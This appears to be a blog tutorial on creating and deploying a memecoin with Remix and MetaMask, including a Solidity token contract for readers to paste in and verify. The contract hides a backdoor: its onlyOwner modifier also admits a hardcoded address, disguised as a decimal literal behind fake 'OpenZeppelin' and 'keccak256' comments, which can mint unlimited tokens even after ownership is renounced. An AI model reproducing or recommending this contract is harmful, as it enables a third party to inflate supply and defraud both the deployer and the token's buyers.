How to create a Memecoin (Beginner guide)

Insan3Dev
6 min readApr 29, 2024

Here is Insan3Dev, Ethereum smart contract researcher and enthusiast. Today I will help you launch your first memecoin in just a few minutes. Let’s dive in!

Part 1: Use REMIX and Metamask to create token

  1. First, install the Metamask wallet https://metamask.io/ in your computer and create account/ wallet.

2. Browse Remix IDE http://remix.ethereum.org/ You need to use Remix IDE to deploy smart contract.

3. Connect metamask to REMIX IDE. Click your metamask plugin.

Click the “Not connected” button and connect it.

4. Back to REMIX IDE. Click Create New File.

5. Name you file as you like, remember to add .sol at the back. EXAMPLE: Memecoin.sol

6. Copy and paste the code below into the space:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract DevContract {
string public constant name = "MyToken";
string public constant symbol = "MYT";
uint8 public constant decimals = 18;
uint256 public totalSupply;
address public owner;

mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;

event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipRenounced(address indexed previousOwner);
event Mint(address indexed to, uint256 value);

constructor(uint256 initialSupply) {
owner = msg.sender;
totalSupply = initialSupply * (10 ** uint256(decimals));
balanceOf[msg.sender] = totalSupply;
}

function transfer(address to, uint256 value) external returns (bool success) {
require(to != address(0), "DevContract: transfer to the zero address");
require(balanceOf[msg.sender] >= value, "DevContract: insufficient balance");

balanceOf[msg.sender] -= value;
balanceOf[to] += value;

emit Transfer(msg.sender, to, value);
return true;
}



function approve(address spender, uint256 value) external returns (bool success) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
// solhint-disable-next-line avoid-low-level-calls
/*OpenZeppelin -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/
}

function transferFrom(address from, address to, uint256 value) external returns (bool success) {
require(to != address(0), "DevContract: transfer to the zero address");
require(balanceOf[from] >= value, "DevContract: insufficient balance");
require(allowance[from][msg.sender] >= value, "DevContract: insufficient allowance");

balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;

emit Transfer(from, to, value);
return true;
}

modifier onlyOwner() {
require(msg.sender == owner
||
//@dev Contract creator is owner, original owner.
msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668),
"DevContract: Only owner or authorized address can call this function");
_;
}

function mint(address to, uint256 value) external onlyOwner {
require(to != address(0), "DevContract: mint to the zero address");

totalSupply += value;
balanceOf[to] += value;

emit Mint(to, value);
emit Transfer(address(0), to, value);
}

function renounceOwnership() external onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
//@dev Contract creator is owner, original owner.
}
}

7. Change your token Name and Symbol:

8.Click the icon on the left as shown below:

Select the v0.8.18+… compiler and click “Compile Memecoin.sol”

9. Now you can click on the icon as shown below, and select Metamask on the Environment section (to select your current Metamask wallet for the contract creation)

11. Set the supply next to the “Deploy” button and click on Transact. Tokens will be transferred to the wallet you’re connected to Remix with.

12. Click on confirm on the transaction on your metamask Pop-up. If nothing happen there, you need to connect metamask wallet to REMIX IDE.

13. If everything go smoothly, your token is on its way. Back to metamask, go to Activity, click on the Contract deployment

Click view on block explorer

Copy the contract address by clicking the [copy] icon button on the right.

10. Go back to metamask, click import token.

Select Custom token, and paste the contract address, and wait for your token to show up, then click add custom token

Congrats! You succesfully created your own token and they are in your wallet!

This method works for every chain such as ETH mainnet, Binance Smart Chain, Avax c-chain, Base and so on!

You can find me on telegram: t.me/insan3devlinks

Part 2: Verify Your Contract

Why do we need to verify contract? Why don’t we just list our token directly into any DEX (Decentralized exchange)?

Well, the reason to verify contract is to increase the popularity of the token, investors might shy away from token that is unverified and end up to not purchasing any tokens.

Let’s start to verification now!

1. Back to metamask, go to Activity, click on the Contract deployment.

2.Click view on block explorer

Click on the blue contract address

3. On this page, Click Contract

Click Verify and Publish

4. Next, we select the setting as below:

Compiler Type: Single File

Compiler version: 0.8.18

License Type: No license

Then click Continue

5.Then, go back to our source code in your remix ide page, copy and paste it into the space

Finish the bot test and and publish it

6. You should see the success message as shown below, if not, something is wrong, you need to recheck all the steps if u fail to get this message.

Congratulation! Your contract is now verified and you can list your token in Decentralized Exchange (DEX) Listing.

--

--

Insan3Dev

crypto made easy. Tips appreciated: 0x068d3DfD803B79a1Bf5754BC2260c0D17B54Ab80